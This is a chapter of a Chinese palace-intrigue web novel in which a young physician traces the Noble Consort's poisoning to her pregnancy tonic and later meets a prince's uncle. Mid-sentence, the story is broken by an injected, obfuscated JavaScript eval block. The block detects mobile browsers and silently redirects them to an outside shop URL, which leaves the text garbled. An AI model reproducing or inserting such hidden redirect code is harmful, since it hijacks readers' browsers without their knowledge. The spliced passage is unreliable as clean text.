37. 巧遇
作品:《藏锋引》 荣书颜母子二人闻言,神色骤变,惊骇之下竟一时无言。
云诺凝神细思,缓声问道:“娘娘是否已有四个月的身孕?敢问娘娘,具体症候是何时开始的?”
荣书颜惊魂未定,耳边听见云诺的询问,下意识点点头:“正是……本宫三个月时方诊出喜脉,如今将满四月,至于身上这不适之感,约莫是……半月前才渐渐明显的。”
“这么说来……不过半个月就有此症状……”
云诺眉头微蹙。噬心花是慢性毒,据她所知须得长期与毒源接触,至少需得数月才会有明显症状,怎的宓贵妃这才半个月症状就如此明显?
难道说在她还没身孕之前,就已经接触噬心花了吗?
云诺神色凝重,久久无言,这让荣书颜二人紧张起来。禹修远倾身向前,压低声音问道:“按云小姐所言,我母妃所中的究竟是什么毒?可有性命之忧?”
云诺如实答道:“如若臣女的判断没错,娘娘应是中了‘噬心花’之毒,只不过臣女没想通的是,此毒须得长期接触方能起效,而娘娘症候来势凶猛,也许此毒在娘娘身边已久。”
说着她的目光投向了荣书颜身下的软枕,该不会是……
云诺上前半步,垂首恭请:“娘娘,当务之急是找出您在何处接触此毒,或还有救,恳请娘娘准许臣女查验您日常贴身用的寝具,毒物或许便藏于日常用物之中。”
荣书颜听闻还有救,仿佛抓住了救命稻草,她毫不犹豫地将身下软枕拿出,递给了云诺。
云诺顾不上解释,手下已利落地拆开软枕,在其中仔细翻找起来,荣书颜和禹修远虽然惊讶,但见云诺神情专注,被她周身凝重的气场感染,在一旁大气都不敢出,紧盯着云诺的动作。
云诺将云棉摊开,指尖一寸寸捻过细絮,连边角夹层皆未放过,却没发现噬心花的踪迹,枕头没有问题。
见云诺停了下来,禹修远上前一步:“不知云小姐所说的‘噬心花’是何模样?我同你一道找。”云诺简要将噬心花形态、花色异状低声描述了一番,一旁的荣书颜闻言,下意识便欲扬声唤人。
“娘娘,不可!”云诺制止了荣书颜,“此事越少人知道越好,在发现真相之前,任何人都不可全然相信,况且,如若娘娘发现自己中毒的事情传了出去,怕是这幕后之人还有后招。”
禹修远闻言也赞同道:“母妃,云小姐说得没错,还不知是何人下的手,此事不宜宣扬,您放心,儿臣一定将这下毒之人揪出来。”
云诺与禹修远开始在殿内翻找起来,期间着重检查了荣书颜常去的地方和常用的物品,皆未发现噬心花的踪迹,时间一分一秒过去,仍然一无所获。云诺额头冒出了薄汗,既然没有噬心花……那荣书颜身上的毒从何而来?
云诺停了下来,伫立在原地思考良久,突然一个念头掠过,她抓住那一丝线索,急急问道:“三殿下先前说——太医看过娘娘的症状都没发现异常?”
“是。”禹修远经此提醒,也发现了不对劲,“云小姐的意思是……”
“没错,”云诺冷静下来,“不是臣女夸大,此毒虽罕见,但娘娘的症状明显有异,太医不可能检查不出来。”
荣书颜沉默了,确实,张太医在太医院多年,如今也已年近半百,论资历没人能比得过他,可他这半个月以来,每次看诊都说她身体无恙,此事显然有鬼。
云诺:“可否检查一下娘娘平日用的吃食?”
荣书颜点点头:“没问题,不过本宫平日所用的膳食皆有宫人试毒,想必应是没什么问题才对,除了……”
荣书颜眸光忽地一凝,指尖无意识划过小腹:“是了……安胎药,自从本宫有孕以来,所用安胎药皆由太医院直接供应,不知问题是否出在这里?”
话音未落,殿外突然传来宫女的声音:“贵妃娘娘,太医院送安胎药来了。”
屋内三人对视一眼,这安胎药来得正巧。
荣书颜镇定说道:“进来。”
安胎药呈上,宫女便退了下去。云诺端起药碗,只见碗内褐色的药汁微温,她凑近闻了一下,是普通安胎药的味道,但似乎夹杂着……
云诺不敢确定,遂以指尖蘸取少许,在舌尖轻点。
荣书颜和禹修远都吓了一跳,二人目光死死锁在云诺沾药的指尖,她竟以身试毒?
禹修远心头一紧:“云小姐,这……”
云诺满心都在药上,并未发现二人的异常,她抬眸说道:“虽剂量极微弱,但这安胎药中确有‘噬心花’之毒无疑。”
在她尝到那滴药汁的同时,几乎就能确定这一点,她对噬心花再熟悉不过了,也难怪宓贵妃的症状短短半个月就能如此明显,原来是将噬心花入了药,让人直接服下,药效比原先还要猛烈几分。
荣书颜脸上血色褪尽,抚着小腹的手抖得厉害,她勉力维持声线平稳:“那……这孩子可还有救?”
云诺脸色沉了下来,说出了二人都不愿听的事实。
“臣女斗胆直言,如今娘娘已身中噬心花毒,此毒会通过母体侵染胎儿,保险起见这孩子不能留。”云诺言辞恳切,她知道这话一出意味着什么,但她实在无法眼睁睁看着又一个这样的孩子带着毒降生,这其中的痛苦她最了解不过。
就如她当年……
禹修远没想到云诺说话如此大胆,不管怎么说,这也是个龙胎。他沉吟片刻,看着荣书颜煞白的脸,不忍问道:“云小姐……就真没有其他办法了吗?”
荣书颜强忍震惊,急忙说道:“如若有一线生机,本宫愿意尝试,无论什么代价,哪怕要以命相换……但求云小姐能尽力保下这个孩子。”
“母妃!”禹修远当即打断了她,声音沉了下来,“万不可说这样的话,总会有法子的。”
看着荣书颜期盼的脸与悬而未落的泪,云诺想起自己母亲,当年是否也是怀着这样的心情生下她,而她现在却劝一位母亲放弃她的孩子,是否太过残忍。
云诺深呼一口气,再次抬头时,已经下定了决心。
她迎上贵妃目光,直言相告:“臣女可勉力一试,但即便侥幸保下胎儿,孩子生来便会带毒,存续之机微乎其微……也许余生皆需药物维系,娘娘可要想好了。”
荣书颜慎重点头:“本宫明白,那就有劳云小姐了。”
见荣书颜答应,云诺要来纸墨,写下抑制毒性的药方及服用方法,交到禹修远手上。
“此药须得长期服用,因着娘娘身怀六甲,所以臣女开的这个方子相比寻常解毒药方药效更温和,所需持续服用的时间也要更长,另外,此事请贵妃娘娘和三殿下务必守口如瓶,不可为外人知晓,如今这毒从何来我们无从得知,小心为上。”
云诺交代完一切后,恰逢第
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17152787|195249||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
八声暮钟遥遥传来,天色向晚,宫灯次第亮起,她这一耽误竟是已经错过了出宫的时辰。
此时宫门已经下钥,荣书颜过意不去,特地让禹修远亲自送云诺出宫。
寂静宫道上,禹修远想起云诺试药那一幕,忍不住问道:“云小姐,那药既证实有毒,你方才亲口尝验……岂非太过冒险?对你的身体可有影响?”
云诺没想到他还记着这件事,不由得怔愣了一下,应道:“剂量甚微,无妨,多谢三殿下关心。”她并无安慰禹修远之意,噬心花之毒本就存在于她的体内,此时多一点少一点对她而言无甚区别,可若是能因此找出这噬心花到底出自谁手,她做的一切便是值得的。
禹修远颔首:“那就好。”
这个时辰,外头已基本没有什么宫人走动,他们沿着宫道向宫门前行,没走几步,就听另一头宫道上有轮毂之声传来,禹修远扭头望去,只见一个侍卫推着素舆缓缓行来,素舆之上那人正是禹柏如。
禹柏如倚坐在素舆中,一手扶着前额,双眸轻阖,似在小憩。天边最后一缕余晖拂过他的衣袍,夜色下显得颇为寂寥。
“小皇叔!”禹修远见到禹柏如,不由得眉开眼笑,他瞧着禹柏如是从紫宸殿方向过来,心下了然,“父皇又拉着你对弈到现在?”
云诺也望过去,正巧对上禹柏如缓缓睁开的眸子,云诺只看了一眼,便平静地挪开了目光。
禹柏如目光落在那并肩而立的身影上,眉梢一挑,只将手轻轻一抬,身后推着素舆的雾影稳稳停住,随即静立在一侧。
禹柏如打量着二人,轻笑一声:“三殿下这是……”
禹修远才反应过来,忙对着禹柏如介绍道:“小皇叔,这位是云侍郎家大小姐云诺,就是那位小医仙。”他冲禹柏如眨眨眼,随后又转向云诺,笑道,“云小姐,这位是我英俊潇洒,风流倜傥的小皇叔,我昭启朝大名鼎鼎的暠王爷。”
此话一出,雾影忍不住“噗”一声,表情怪异,不得不用手捂住嘴,死死忍住了笑意。
禹柏如瞥了禹修远一眼,似有警告意味,后者反而不惧,下巴微抬,冲禹柏如得意地咧嘴一笑。
在这一片诡异氛围中,云诺头也没抬,抿着唇,乖巧福身一礼:“臣女见过暠王殿下。”
“嗯。”禹柏如简单应声,随口问道:“你们这是要出宫?”
禹修远收起玩闹的心思,答:“是啊,今日我母妃请云小姐进宫叙话,未曾想一聊就到这个时候了,这不,宫门下钥了,我得送云小姐出去。”
云诺并未出声,宓贵妃中毒之事,确实不能如实相告,三皇子此番隐瞒也在情理之中。
“原来如此。”禹柏如闲坐素舆之上,整个人显得懒洋洋的,他微微一笑,“本王正要出宫,不如送云小姐一程?就不劳烦三殿下了。”
此话一出禹修远颇为惊异,小皇叔何时变得如此好心了?从前他可从未见过,再联想到方才互相介绍时云诺波澜不惊的反应,一个念头冒了出来。
禹修远眼神在云诺与禹柏如之间来回逡巡,脱口而出:“等等……莫非你们认识?”
“不认识。”
“认识。”
二人几乎同时开口,答案却完全相反。这回云诺否认得极快,雾影在一旁听得清清楚楚,他刚平复下来的笑意几乎压抑不住,他死死掐着自己的大腿,才没有笑出声。

